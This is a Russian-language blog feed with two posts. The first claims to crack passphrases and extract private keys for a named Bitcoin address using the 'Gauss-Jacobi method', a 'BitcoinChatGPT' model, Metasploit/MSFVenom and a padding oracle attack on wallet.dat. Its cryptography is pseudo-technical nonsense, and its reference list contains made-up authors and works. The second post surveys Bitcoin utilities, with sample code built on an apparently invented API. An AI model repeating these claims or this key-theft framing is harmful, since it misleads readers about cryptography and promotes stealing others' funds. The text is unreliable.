«CRYPTO DEEP TOOLS» https://cryptodeeptool.ru/ Набор скриптов для детального криптоанализа сети Blockchain в криптовалюте Bitcoin Wed, 10 Apr 2024 00:42:54 +0000 ru-RU hourly 1 https://wordpress.org/?v=6.5.2 https://cryptodeeptool.ru/wp-content/uploads/2022/07/cropped-favicon7-32x32.png «CRYPTO DEEP TOOLS» https://cryptodeeptool.ru/ 32 32 Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT https://cryptodeeptool.ru/gauss-jacobi-method/ Wed, 10 Apr 2024 00:42:50 +0000 https://cryptodeeptool.ru/?p=4670 В этой статье мы рассмотрим на примере метод Gauss-Jacobi которые применяют современные технологии, такие как предварительно обученная модель Bitcoin ChatGPT, что позволяют более эффективно решать сложные задачи в области цифровых технологий. Важно заметить что альтернативные алгоритмы, такие как Gauss-Jacobi играют ключевую роль и открывают новые горизонты для развития вычислительной математики. Метод Gauss-Jacobi является итеративным численным […]

Сообщение Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT появились сначала на «CRYPTO DEEP TOOLS».

]]>
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

В этой статье мы рассмотрим на примере метод Gauss-Jacobi которые применяют современные технологии, такие как предварительно обученная модель Bitcoin ChatGPT, что позволяют более эффективно решать сложные задачи в области цифровых технологий. Важно заметить что альтернативные алгоритмы, такие как Gauss-Jacobi играют ключевую роль и открывают новые горизонты для развития вычислительной математики.

Метод Gauss-Jacobi является итеративным численным методом для решения систем линейных уравнений. Он широко используется в различных областях, таких как криптография, криптоанализ, инженерия и вычислительная математика. Сеть Биткоин использует криптографические алгоритмы, такие как хэш-функции SHA-256, алгоритм подписи ECDSA, эллиптические кривые secp256k1, для создания публичных и приватных ключей, которые представляют собой точки на эллиптической кривой. Приватный ключ – это секретная числовая величина, которая используется для генерации публичного ключа, а публичный ключ – это точка на кривой, полученная путем вычисления с приватным ключом. Таким образом, эллиптические кривые secp256k1 лежат в основе криптографических механизмов, которые обеспечивают безопасности транзакций и защиты от различных атак. Современные технологии которые развивают предварительно обученную модель Bitcoin ChatGPT находят эффективные способы решение сложных криптографических задач, лежащих в основе алгоритмов, используемых в Биткоине.



Какими преимуществами владеет Gauss-Jacobi алгоритм:

  • Высокая скорость и эффективность, что делает его идеальным для поиска атакующих ключей.
  • Интерактивность использует только один шаг перебора, что позволяет ему сократить количество вычислений.
  • Доступность и простота в реализации что имеет простые коды и легко может быть реализован в различных программах.
  • Доступен для широкого круга пользователей, которые могут использовать его для поиска атак на криптостойкость для различных криптовалют.
  • Гибкость может быть применен к разнообразным типам криптографических систем.

Как Gauss-Jacobi алгоритм работает:

Gauss-Jacobi алгоритм основан на рекурсивной функции f(x), которая для любого элемента x in S (сет данных блокчейнов) возвращает строковый код, представляющий x. Если x – атакующий ключ, то f(x) = 0.

Gauss-Jacobi алгоритм основан на рекурсивной функции f(x), которая для любого элемента x in S (сет данных блокчейна) возвращает строковый код, представляющий x. Если x – атакующий ключ, то f(x) = 0.

Алгоритм работает по следующим этапам:

  1. Вычисляет G-матрицу, которая представляет собой матрицу всех смешанных пар элементов S, где i-й элемент соответствует i-му элементам S, а j-й элемент – j-му элементу S.
  2. Вычисляет Х-матрицу, которая представляет собой матрицу смешанных пар хеш-функций.
  3. Определяет рекурсивно значение f(x) для каждого элемента S.
  4. Если f(x) = 0, это означает, что x – атакующий ключ, и алгоритм завершает.
  5. И else, алгоритм continues рекурсивно вычислять f(x) для различных элементов S и добавлять эти элементы к Х-матрице.
  6. Если H – матрица единиц, то алгоритм завершает, и мы нашли атакующий ключ.

Алгоритм метода Gauss-Jacobi может быть использован для решения систем уравнений с большим числом неизвестных. Это означает, что этот метод может быть использован для решения систем уравнений, полученных из эллиптических кривых secp256k1, используемых в криптографии, которые могут иметь большое число неизвестных, а также методы вроде Gauss-Jacobi потенциально могут ускорить решение некоторых задач дискретного логарифмирования и факторизации, на которых основана криптография с публичным ключом.

Потенциальное применение метода Gauss-Jacobi в криптоанализе блокчейна Биткоина

Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT


Откроем версию Google Colab:

https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1


Соединим все выданные значение в одну общую строку:

Откроем опцию от BlockCypher “Decode A Transaction”:

https://live.blockcypher.com/btc/decodetx/

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

https://github.com/demining/CryptoDeepTools/blob/470292cd9bf60232e2ea4011ab9929106c63477f/30GaussJacobiMethod/DecodeRawTX.txt#L31


BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k отправляет 1234 satoshi на тот же адрес внутри своей сети.

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT


Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py


Вопрос – Ответ:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey


BitcoinChatGPT №1 Gauss Jacobi Method Algorithm


Практическая часть

Чтобы перейти к практической части создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction

Скачаем и установим исходный код откроем терминал и запустим команду:

Каталог:

Установим три важные библиотеки:

Запустим команду:

Откроем в Notepad++ основной файл и несем небольшие изменение в коде Python Script: main.py



Запустим команду:

Откроем файл RawTX в каталоге:


Как нам известно из prompt ответов модуля BitcoinChatGPT aлгоритм метода Gauss-Jacobi может быть использован для решения четырех вариантов сложных криптографических задач.

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Smart Transformers

Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


Откроем новый блокнот Google Colab по ссылке:

https://colab.research.google.com/#create=true

Клонируем репозиторий Smart Transformers
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Установим все необходимые пакеты и библиотеки:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Команда:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo

Запустим команду:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY.

Запустим команду:

В результате мы получаем метод Gauss_Jacobi_Algorithm, в ранних исследованиях тоже самое идентифицировал модуль BitcoinChatGPT.

Откроем каталог:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Gauss_Jacobi_Algorithm

Запустим команду:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Откроем в левой панели Google Colab каталог и видим файл: wallet.dat Успешно создан!

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT


Откроем консоль и запустим команду:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Мы видим что файл: wallet.dat принадлежит Биткоин Адресу: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Запустим команду для проверки приватного ключа:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)


Padding Oracle Attack

Ранее мы публиковали статью Padding Oracle Attack на Wallet.dat воспользуемся этим методом и  расшифруем пароль для доступа в бинарный формат.

Установим Ruby
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Проверим версию установки
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT
Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Установим все необходимые нам библиотеки для взаимодействия с протоколом/сетью Биткоин:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Установим Metasploit Framework и воспользуемся MSFVenom

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Опции:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Установим Bitcoin Core integration/staging tree в Google Colab:

Клонируем репозиторий Bitcoin Core запустив команду:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat

Перейдем в каталог crypto
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Откроем файл: aes.cpp через утилиту cat

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Для проведения атаки переместим файл: wallet.dat в каталог: bitcoin/src/crypto/

Воспользуемся утилитой mv и переместим wallet.dat
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Проверим содержимое каталога: bitcoin/src/crypto/
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Перейдем обратно к Metasploit Framework
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Откроем папки по каталогу: /modules/exploits/
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Перейдем по каталогу: /ExploitDarlenePRO/

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Для запуска эксплойта перейдем обратно к Metasploit Framework
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k 


Команда запуска:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Результат:

Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.

Команда:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Откроем файл: walletpassphrase.txt
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Результат:

Пароль для доступа к приватному ключу найден!


Воспользуемся командой dumpprivkey "address" через консоль Bitcoin Core


Результат:

Приватный Ключ Получен!



Установим библиотеку Bitcoin
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Запустим код для проверки соответствие Биткоин Адреса:
Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

References:

  1. “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation.
  2. “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented.
  3. “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi.
  4. “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method.
  5. “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method”The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method.
  6. “Iterative Solution of Large Linear Systems” (1971)David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method.
  7. “Iterative Methods for Solving Linear Systems”The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method.
  8. “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method.
  9. “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi.
  10. “A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method.
  11. Exploring the Gauss-Jacobi Method in Numerical Methods TextbooksMany textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method.


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://www.youtube.com/@cryptodeeptech

Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c

Источник: https://cryptodeep.ru/gauss-jacobi-method


Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT

Сообщение Дешифрование паролей для доступа к потерянным Биткоин Кошелькам с помощью метода Gauss-Jacobi и процесса машинного обучение BitcoinChatGPT появились сначала на «CRYPTO DEEP TOOLS».

]]>
Изучение недооцененной силы Биткоин утилит: подробное руководство в Google Colab https://cryptodeeptool.ru/bitcoin-utilities/ Tue, 27 Feb 2024 20:59:21 +0000 https://cryptodeeptool.ru/?p=4648 Биткоин — первая в мире децентрализованная цифровая валюта, которая произвела революцию в нашем представлении о деньгах. Одним из наиболее интересных аспектов Биткоина является широкий спектр утилит, разработанных для его поддержки. Эти утилиты призваны помочь пользователям безопасно и надежно взаимодействовать с сетью Биткоин и играют решающую роль в экосистеме. Одной из самых популярных биткоин-утилит является биткоин-кошелек. Кошелек — это […]

Сообщение Изучение недооцененной силы Биткоин утилит: подробное руководство в Google Colab появились сначала на «CRYPTO DEEP TOOLS».

]]>

Биткоин — первая в мире децентрализованная цифровая валюта, которая произвела революцию в нашем представлении о деньгах. Одним из наиболее интересных аспектов Биткоина является широкий спектр утилит, разработанных для его поддержки. Эти утилиты призваны помочь пользователям безопасно и надежно взаимодействовать с сетью Биткоин и играют решающую роль в экосистеме.

Одной из самых популярных биткоин-утилит является биткоин-кошелек. Кошелек — это программное приложение, которое позволяет пользователям хранить, отправлять и получать биткоины. Доступно множество различных типов кошельков, включая настольные, мобильные и аппаратные кошельки. Каждый тип кошелька имеет свои преимущества и недостатки, поэтому важно выбрать тот, который лучше всего соответствует вашим потребностям.

Еще одна важная утилита Биткоин — это обмен биткоинов. Биржа — это платформа, которая позволяет пользователям покупать и продавать биткоины за другие валюты, такие как доллары США или евро. Доступно множество различных бирж, каждая со своим набором комиссий, функциями безопасности и пользовательскими интерфейсами. Важно выбрать биржу с хорошей репутацией, имеющую хорошую репутацию в области безопасности и надежности.

Третий тип утилиты Биткоин — это программное обеспечение для майнинга. Майнинг — это процесс проверки транзакций в сети Биткоин и добавления их в блокчейн. Майнеры вознаграждаются биткоинами за свою работу, и чем больше у них вычислительной мощности, тем больше биткоинов они могут заработать. Программное обеспечение для майнинга позволяет пользователям участвовать в процессе майнинга и зарабатывать биткоины.

Существует также множество других типов биткоин-утилитов, таких как платежные системы, торговые сервисы и обозреватели блокчейнов. Эти утилиты созданы для того, чтобы предприятиям и частным лицам было проще использовать Биткоин в повседневной жизни, и они играют решающую роль в росте и развитии экосистемы Биткоин.

Утилиты Биткоин являются важной частью экосистемы Биткоин. Они предоставляют пользователям инструменты, необходимые для безопасного и надежного взаимодействия с сетью Биткоин, и помогают стимулировать внедрение Биткоина во всем мире. Независимо от того, являетесь ли вы владельцем бизнеса, инвестором или просто человеком, интересующимся цифровыми валютами, существует утилита Биткоин, которая может помочь вам достичь ваших целей.


Преимущество

Одним из менее известных преимуществ Биткоина является его полезность в качестве инструмента для различных приложений. Базовая технология Биткоина, известная как блокчейн, по сути представляет собой децентрализованный реестр, который можно использовать для хранения и проверки данных. Это делает его ценным инструментом для различных отраслей, от здравоохранения до логистики.

Одним из таких приложений является управление цепочками поставок. Используя технологию блокчейна, компании могут отслеживать движение товаров от производителя к конечному потребителю. Это обеспечивает большую прозрачность и подотчетность, снижает риск мошенничества и гарантирует подлинность продукции.

Еще одно применение — в сфере голосования. Технология блокчейн может быть использована для создания безопасной и прозрачной системы голосования, гарантирующей точность и защиту от несанкционированного доступа результатов. Это может помочь восстановить веру в демократический процесс и предотвратить фальсификацию выборов.

Биткоин также можно использовать в качестве средства оплаты товаров и услуг. Это особенно полезно в странах, где традиционные банковские системы недоступны и ненадежны. Биткоин-транзакции быстрые, дешевые и безопасные, что делает их привлекательной альтернативой традиционным способам оплаты.

Наконец, Биткоин можно использовать в качестве средства сбережения. В отличие от традиционных валют, которые могут быть обесценены из-за инфляции или политической нестабильности, Биткоин децентрализован и невосприимчив к таким факторам. Это делает его привлекательным вариантом для тех, кто хочет сохранить свое богатство в долгосрочной перспективе.

Биткоин — это больше, чем просто криптовалюта. Базовая технология блокчейна имеет широкий спектр применений, которые могут принести пользу различным отраслям. От управления цепочками поставок до систем голосования, утилиты Биткоин могут произвести революцию в том, как мы ведем бизнес и взаимодействуем друг с другом. Поскольку технология продолжает развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в ближайшие годы.


Классификация

Одной из ключевых особенностей Биткоина является его способность классифицироваться по различным типам полезностей. В этой статье мы рассмотрим различные классификации утилит Биткоин и их важность.

  1. Платежная система

Самая основная классификация Биткоина — это платежная система. Биткоин позволяет пользователям мгновенно отправлять и получать платежи без необходимости использования посредников, таких как банки или платежные системы. Это делает его быстрым, безопасным и экономичным способом перевода денег через границу.

  1. Средство сбережения

Еще одна важная классификация Биткоина — это средство сбережения. Биткоин имеет ограниченное количество монет в 21 миллион, что делает его дефицитным ресурсом. Этот дефицит в сочетании с его децентрализованным характером делает его популярным активом для инвесторов, желающих хранить свое богатство безопасным и защищенным от инфляции способом.

  1. Цифровое золото

Биткоин часто называют «цифровым золотом» из-за его сходства с драгоценным металлом. Как и золото, Биткоин — дефицитный ресурс с ограниченным запасом. Он также децентрализован и действует независимо от какого-либо центрального органа власти. Это делает его привлекательным активом для инвесторов, желающих диверсифицировать свой портфель и застраховаться от инфляции.

  1. Децентрализованная платформа приложений

Биткоин также служит платформой для создания децентрализованных приложений (DApps). Это приложения, которые работают в децентрализованной сети, а не на центральном сервере. Технология блокчейна Биткоин позволяет создавать безопасные и децентрализованные приложения, устойчивые к цензуре и мошенничеству.

  1. Криптовалюта

Наконец, Биткоин — это криптовалюта, что означает, что это цифровой актив, использующий криптографию для защиты транзакций и контроля создания новых единиц. Криптовалюты, такие как Биткоин, разработаны так, чтобы быть децентрализованными и работать независимо от какого-либо центрального органа. Это делает их привлекательной альтернативой традиционным валютам, которые подвержены инфляции и манипуляциям со стороны центральных банков. Биткоин — это универсальная и инновационная технология, которую можно разделить на различные типы полезностей. Как платежная система, средство сбережения, цифровое золото, децентрализованная платформа приложений и криптовалюта, Биткоин может революционизировать наше представление о деньгах и финансовых транзакциях.


Биткоин-утилиты

  1. Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher  ↩︎
  2. Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях  ↩︎
  3. «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина)  ↩︎
  4. «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин  ↩︎
  5. «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python  ↩︎
  6. «bx» — инструмент командной строки Bitcoin  ↩︎
  7. «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов  ↩︎
  8. «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы  ↩︎
  9. «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей  ↩︎

Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher 1

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте
Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/tsileo/txwatcher

TxWatcher — это инструмент на основе Python, который позволяет отслеживать транзакции по биткоин-адресам. Его можно использовать для различных целей, например для отслеживания пожертвований некоммерческой организации или мониторинга платежей, поступающих на торговый счет. В этой статье мы покажем вам, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах.

Сначала вам нужно установить TxWatcher. Вы можете сделать это, выполнив следующую команду в своем терминале:

pip install txwatcher

После установки TxWatcher вы можете начать мониторинг транзакций, создав новый экземпляр класса  TxWatcher . Вот пример:

from txwatcher import TxWatcher

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

В этом примере мы создаем новый  TxWatcher экземпляр и передаем наш ключ API и сеть Биткоин, которую мы хотим отслеживать (в данном случае тестовую сеть). Затем мы вызываем  watch_address() метод и передаем биткоин-адрес, который хотим отслеживать.

TxWatcher теперь начнет отслеживать транзакции для указанного биткоин-адреса. Вы можете прослушивать новые транзакции, вызвав  listen_for_transactions() метод:

# Listen for new transactions
tx_watcher.listen_for_transactions()

Это заблокирует выполнение вашей программы до тех пор, пока не будет обнаружена новая транзакция. При обнаружении новой транзакции TxWatcher выдаст  transaction событие. Вы можете прослушивать это событие и что-то делать с данными транзакции, например сохранять их в базе данных или отправлять уведомление по электронной почте.

Вот пример того, как прослушивать новые транзакции и сохранять данные транзакций в базе данных MongoDB:

from txwatcher import TxWatcher
from pymongo import MongoClient

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Connect to MongoDB
client = MongoClient('mongodb://localhost:27017/')
db = client['my_database']
collection = db['transactions']

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

# Listen for new transactions and store them in MongoDB
tx_watcher.listen_for_transactions(on_transaction=lambda transaction: collection.insert_one(transaction.to_dict()))

В этом примере мы подключаемся к локальному экземпляру MongoDB и создаем новую базу данных и коллекцию для хранения данных транзакций. Затем мы вызываем  listen_for_transactions() метод и передаем лямбда-функцию, которая принимает объект транзакции и вставляет его в коллекцию MongoDB с помощью этого  insert_one() метода.

Вот и все! Теперь вы знаете, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах. Проявив немного творчества, вы можете использовать этот инструмент для создания всевозможных приложений и сервисов, связанных с биткоинами.

Скрипт Python, использующий txwatcher:

import txwatcher

# create a new instance of the txwatcher
txwatcher = txwatcher.TxWatcher()

# connect to the blockchain
txwatcher.connect_blockchain()

# monitor a specific address for incoming transactions
txwatcher.monitor_address('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# monitor a specific transaction hash for confirmations
txwatcher.monitor_transaction_hash('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# print the transaction details when a new transaction is detected
txwatcher.print_transaction_details()

# close the connection to the blockchain
txwatcher.close_blockchain_connection()

Этот скрипт импортирует модуль txwatcher и создает новый экземпляр класса TxWatcher. Затем он подключается к блокчейну и отслеживает определенный адрес и хэш транзакции на предмет входящих транзакций и подтверждений соответственно. Наконец, он печатает детали транзакции и закрывает соединение с блокчейном.


Нигири Вкусный док-бокс для приготовления особых биткоинов, молний и жидких блюд 2

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/vulpemventures/nigiri

Nigiri — это инструмент с интерфейсом командной строки (CLI), который упрощает процесс настройки среды тестирования биткоинов. С помощью Nigiri пользователи могут быстро и легко запустить блок регистрации биткоинов, а также Electrs и Esplora, два популярных инструмента для разработчиков биткоинов. Nigiri также включает команды faucet и push, которые упрощают тестирование приложений и сервисов Bitcoin.

